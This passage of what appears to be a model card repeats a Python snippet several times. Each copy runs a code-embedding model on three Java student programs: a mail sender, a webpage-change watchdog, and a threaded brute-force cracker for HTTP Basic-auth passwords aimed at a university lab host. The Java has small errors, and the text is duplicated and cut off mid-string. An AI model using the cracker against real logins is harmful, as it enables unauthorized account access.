SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
